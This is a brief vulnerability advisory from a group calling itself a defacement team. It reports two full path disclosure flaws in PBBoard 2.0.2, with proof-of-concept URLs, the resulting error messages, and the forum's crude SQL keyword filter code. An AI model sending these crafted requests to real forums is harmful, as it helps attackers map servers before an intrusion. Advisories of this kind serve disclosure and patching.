Advisory]PBBoard <=2.0.2 - Full Path Disclosure
Details

Product: PHP <= PBBoard
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.pbboard.com

Credits

Discovered by: rUnViRuS
site: http://www.sec-area.com

Affected Products:

test on PBBoard 2.0.2
maybe work under 2.0.2

More Details

1. Full Path Disclosure

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allow attackers to gather the real path of the server side script.

Proof of concept:
http://www.[xxxxx].com/path/index.php?page=new_topic&index=1&id=union

error
Fatal error: Call to undefined method PowerBBLocalCommon::error() in /home/xxx/public_html/vb/common.php on line 193

code :
// Check if $_GET don't value any SQL Injection
foreach ($PowerBB->_GET as $sql_get)
{
if ((eregi("select", $sql_get)) or
(eregi("union", $sql_get)) or
(eregi("%", $sql_get)))
{
$this->error('ظ‚ظ…طھ طЁط№ظ…ظ„ظٹظ‡
ط؛ظٹط± ظ…طґط±ظ€ط№ظ‡!');
}
}

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2. Full Path Disclosure

allow attackers to gather the real path of the server side script.

Proof of concept:
http://www.[xxxx].com/[path]/index.php?page=search&start=1&keyword=§ion=all&search=1

Warning: filesize() [function.filesize]: stat failed for show_msg in /home/xxxxx/public_html/vb/includes/template.class.php
on line 99

Fatal error: ERROR::FILE_SIZE_IS_ZERO in /home/xxxxx/public_html/vb/includes/template.class.php on line 146

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[W]orld [D]efacers [T]eam
http://www.Sec-area.com

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